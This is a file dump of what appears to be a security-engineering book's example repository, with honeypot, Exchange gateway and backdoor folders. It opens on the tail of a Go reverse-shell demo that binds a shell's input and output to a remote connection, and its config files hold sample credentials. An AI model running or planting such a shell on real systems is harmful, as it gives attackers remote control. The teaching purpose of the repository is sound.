if err != nil { 24 | log.Fatal("connecting err: ", err) 25 | } 26 | 27 | _, _ = remoteConn.Write([]byte("reverse_shell demo")) 28 | 29 | command := exec.Command(shell) 30 | command.Env = os.Environ() 31 | command.Stdin = remoteConn 32 | command.Stdout = remoteConn 33 | command.Stderr = remoteConn 34 | _ = command.Run() 35 | } 36 | -------------------------------------------------------------------------------- /backdoor/webshell/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /backdoor/webshell/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /backdoor/webshell/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/webshell/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/webshell/.idea/webshell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/.idea/wbxml_api.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/README.md: -------------------------------------------------------------------------------- 1 | ## 说明 2 | 3 | `exchange-sec-gateway-api`是邮件安全网关依赖的微服务接口。 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/logger/log.go: -------------------------------------------------------------------------------- 1 | 2 | package logger 3 | 4 | import ( 5 | "github.com/sirupsen/logrus" 6 | "github.com/x-cray/logrus-prefixed-formatter" 7 | ) 8 | 9 | var ( 10 | Log *logrus.Entry 11 | ) 12 | 13 | func init() { 14 | logger := logrus.New() 15 | logger.Formatter = new(prefixed.TextFormatter) 16 | logger.Level = logrus.InfoLevel 17 | Log = logger.WithFields(logrus.Fields{"prefix": "wbxml_api"}) 18 | } 19 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/public/imgs/actived.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway-api/public/imgs/actived.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/public/imgs/refused.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway-api/public/imgs/refused.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/settings/settings.go: -------------------------------------------------------------------------------- 1 | package settings 2 | 3 | import ( 4 | "gopkg.in/ini.v1" 5 | 6 | "exchange_zero_trust_api/logger" 7 | ) 8 | 9 | var ( 10 | Cfg *ini.File 11 | Host string 12 | Port int 13 | ) 14 | 15 | func init() { 16 | var err error 17 | source := "conf/app.ini" 18 | Cfg, err = ini.Load(source) 19 | 20 | if err != nil { 21 | logger.Log.Panicln(err) 22 | } 23 | 24 | Host = Cfg.Section("").Key("HOST").MustString("127.0.0.1") 25 | Port = Cfg.Section("").Key("PORT").MustInt(5000) 26 | } 27 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway-api/util/neixin.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/.idea/exchange-sec-gateway.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/DISCLAIMER: -------------------------------------------------------------------------------- 1 | Apache APISIX (incubating) is an effort undergoing incubation at The Apache Software Foundation (ASF), sponsored by the Apache Incubator PMC. 2 | Incubation is required of all newly accepted projects until a further review indicates that the infrastructure, 3 | communications, and decision making process have stabilized in a manner consistent with other successful ASF projects. 4 | While incubation status is not necessarily a reflection of the completeness or stability of the code, 5 | it does indicate that the project has yet to be fully endorsed by the ASF. 6 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/NOTICE: -------------------------------------------------------------------------------- 1 | Apache APISIX (incubating) 2 | Copyright 2019 The Apache Software Foundation 3 | 4 | This product includes software developed at 5 | The Apache Software Foundation (http://www.apache.org/). 6 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/chunk-0e9b6916.6e4f3fbd.css: -------------------------------------------------------------------------------- 1 | [data-v-01722ae9]:export{menuBg:#304156;menuText:#bfcbd9;menuActiveText:#409eff}.pagination-container[data-v-01722ae9]{background:#fff;padding:32px 16px}.pagination-container.hidden[data-v-01722ae9]{display:none} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/chunk-11654a8a.f879f4c3.css: -------------------------------------------------------------------------------- 1 | .plugin-dialog .el-form .el-form-item .el-form-item__content .el-input{width:200px!important}.plugin-dialog .oneof-plugin-wrapper .remove-value-btn{margin-left:10px}.consumers-wrapper{padding:20px}.consumers-wrapper .el-form .el-form-item .el-form-item__content .el-input{width:220px} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/chunk-132ea554.85d68ac2.css: -------------------------------------------------------------------------------- 1 | .plugin-dialog .el-form .el-form-item .el-form-item__content .el-input{width:200px!important}.plugin-dialog .oneof-plugin-wrapper .remove-value-btn{margin-left:10px}.container{padding:20px}.container .el-form .el-form-item .el-form-item__content .el-input{width:220px} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/chunk-31b32716.85d68ac2.css: -------------------------------------------------------------------------------- 1 | .plugin-dialog .el-form .el-form-item .el-form-item__content .el-input{width:200px!important}.plugin-dialog .oneof-plugin-wrapper .remove-value-btn{margin-left:10px}.container{padding:20px}.container .el-form .el-form-item .el-form-item__content .el-input{width:220px} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/chunk-38ba3d2f.6e4f3fbd.css: -------------------------------------------------------------------------------- 1 | [data-v-01722ae9]:export{menuBg:#304156;menuText:#bfcbd9;menuActiveText:#409eff}.pagination-container[data-v-01722ae9]{background:#fff;padding:32px 16px}.pagination-container.hidden[data-v-01722ae9]{display:none} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/chunk-7ef9d764.b68bee2d.css: -------------------------------------------------------------------------------- 1 | [data-v-01722ae9]:export{menuBg:#304156;menuText:#bfcbd9;menuActiveText:#409eff}.pagination-container[data-v-01722ae9]{background:#fff;padding:32px 16px}.pagination-container.hidden[data-v-01722ae9]{display:none}.app-container .el-table:before{height:0!important} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/chunk-ad160a6c.d7e0e035.css: -------------------------------------------------------------------------------- 1 | .container{padding:20px}.container .el-form-item .el-form-item__content .el-input{width:193px}.container .node-item .el-form-item{margin-bottom:10px;display:inline-block}.container .node-item .el-form-item .el-form-item__content{margin-right:10px} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/chunk-dbae6950.6e4f3fbd.css: -------------------------------------------------------------------------------- 1 | [data-v-01722ae9]:export{menuBg:#304156;menuText:#bfcbd9;menuActiveText:#409eff}.pagination-container[data-v-01722ae9]{background:#fff;padding:32px 16px}.pagination-container.hidden[data-v-01722ae9]{display:none} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/chunk-dbb3d3a2.8db8c2e3.css: -------------------------------------------------------------------------------- 1 | .container{padding:20px}.container .el-form-item .el-form-item__content .el-input,.container .el-form-item .el-form-item__content .el-textarea{width:220px} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/css/complex-table.b68bee2d.css: -------------------------------------------------------------------------------- 1 | [data-v-01722ae9]:export{menuBg:#304156;menuText:#bfcbd9;menuActiveText:#409eff}.pagination-container[data-v-01722ae9]{background:#fff;padding:32px 16px}.pagination-container.hidden[data-v-01722ae9]{display:none}.app-container .el-table:before{height:0!important} -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/dashboard/favicon.ico -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/fonts/element-icons.535877f5.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/dashboard/fonts/element-icons.535877f5.woff -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/fonts/element-icons.732389de.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/dashboard/fonts/element-icons.732389de.ttf -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/img/icons/favicon-16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/dashboard/img/icons/favicon-16x16.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/img/icons/favicon-32x32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/dashboard/img/icons/favicon-32x32.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/dashboard/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: 3 | -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/apisix-plugin-design.graffle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/apisix-plugin-design.graffle -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/apisix.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/apisix.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/benchmark-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/benchmark-1.jpg -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/benchmark-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/benchmark-2.jpg -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/consumer-internal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/consumer-internal.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/consumer-who.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/consumer-who.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/flamegraph-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/flamegraph-1.jpg -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/flamegraph-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/flamegraph-2.jpg -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/flow-load-plugin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/flow-load-plugin.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/flow-plugin-internal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/flow-plugin-internal.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/latency-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/latency-1.jpg -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/latency-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/latency-2.jpg -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/jwt-auth-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/jwt-auth-1.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/jwt-auth-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/jwt-auth-2.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/key-auth-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/key-auth-1.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/key-auth-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/key-auth-2.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-conn-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-conn-1.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-conn-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-conn-2.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-count-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-count-1.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-count-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-count-2.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-req-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-req-1.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-req-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/limit-req-2.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/prometheus-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/prometheus-1.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/prometheus-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/prometheus-2.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/prometheus01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/prometheus01.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/prometheus02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/prometheus02.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/zipkin-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/zipkin-1.jpg -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/zipkin-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/zipkin-1.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/zipkin-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/zipkin-2.jpg -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/zipkin-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/plugin/zipkin-2.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/qq-group.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/qq-group.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/routes-example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/routes-example.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/service-example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/service-example.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/doc/images/upstream-example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/doc/images/upstream-example.png -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/logs/placeholder.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/exchange-security-gateway/exchange-sec-gateway/logs/placeholder.txt -------------------------------------------------------------------------------- /exchange-security-gateway/exchange-sec-gateway/lua/apisix/plugins/exchange-ews/README.md: -------------------------------------------------------------------------------- 1 | ## 设计思路 2 | 加一个`mode`参数: 3 | * mode = normal,表示常规模式,常规的激活模式 4 | * mode = zero_trust,表示零信任模式,这种模式下会引导用户安装安全客户端,然后安全客户端的出口IP都会自动激活。 5 | -------------------------------------------------------------------------------- /honeypot/agent/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /honeypot/agent/.idea/agent.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /honeypot/agent/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /honeypot/agent/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /honeypot/agent/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /honeypot/agent/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /honeypot/agent/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /honeypot/agent/conf/app.ini: -------------------------------------------------------------------------------- 1 | [client] 2 | INTERFACE = en0 3 | MANAGER_URL = http://10.211.55.3:9000 4 | KEY = xsec 5 | PROXY_FLAG = true 6 | 7 | 8 | -------------------------------------------------------------------------------- /honeypot/agent/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/honeypot/agent 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/google/gopacket v1.1.17 7 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect 8 | github.com/sirupsen/logrus v1.5.0 9 | github.com/smartystreets/goconvey v1.6.4 // indirect 10 | github.com/toolkits/slice v0.0.0-20141116085117-e44a80af2484 11 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f // indirect 12 | gopkg.in/ini.v1 v1.55.0 13 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 14 | gopkg.in/yaml.v2 v2.2.8 15 | ) 16 | -------------------------------------------------------------------------------- /honeypot/log_server/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /honeypot/log_server/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /honeypot/log_server/.idea/log_server.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /honeypot/log_server/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /honeypot/log_server/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /honeypot/log_server/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /honeypot/log_server/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /honeypot/log_server/conf/app.ini: -------------------------------------------------------------------------------- 1 | [server] 2 | HTTP_PORT = 8000 3 | DEBUG_MODE = true 4 | KEY = xsec 5 | 6 | [database] 7 | HOST = 127.0.0.1 8 | PORT = 27017 9 | USER = honeypot 10 | PASSWORD = xsec 11 | DATABASE = honeypot 12 | -------------------------------------------------------------------------------- /honeypot/log_server/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/honeypot/log_server 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/gin-gonic/gin v1.6.2 7 | github.com/smartystreets/goconvey v1.6.4 // indirect 8 | gopkg.in/ini.v1 v1.55.0 9 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 10 | ) 11 | -------------------------------------------------------------------------------- /honeypot/server/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /honeypot/server/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /honeypot/server/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /honeypot/server/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /honeypot/server/.idea/server.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /honeypot/server/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /honeypot/server/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /honeypot/server/conf/config.yaml: -------------------------------------------------------------------------------- 1 | proxy: 2 | flag: true 3 | addr: 0.0.0.0 4 | services: 5 | ssh: 6 | addr: 127.0.0.1:2222 7 | proxy: :8022 8 | flag: true 9 | mysql: 10 | addr: 127.0.0.1:3366 11 | proxy: :3306 12 | flag: true 13 | redis: 14 | addr: 127.0.0.1:6380 15 | proxy: :6379 16 | flag: true 17 | web: 18 | addr: 127.0.0.1:8000 19 | proxy: :8080 20 | api: 21 | addr: http://10.10.10.10/ 22 | key: xsec -------------------------------------------------------------------------------- /honeypot/server/services/redis-server/redis.go: -------------------------------------------------------------------------------- 1 | package redis_server 2 | 3 | import ( 4 | "sec-dev-in-action-src/honeypot/server/logger" 5 | "sec-dev-in-action-src/honeypot/server/services/redis-server/redis" 6 | ) 7 | 8 | func StartRedis(addr string, flag bool) error { 9 | logger.Log.Warningf("start redis service on %v", addr) 10 | err := redis.Run(addr, flag) 11 | return err 12 | } 13 | 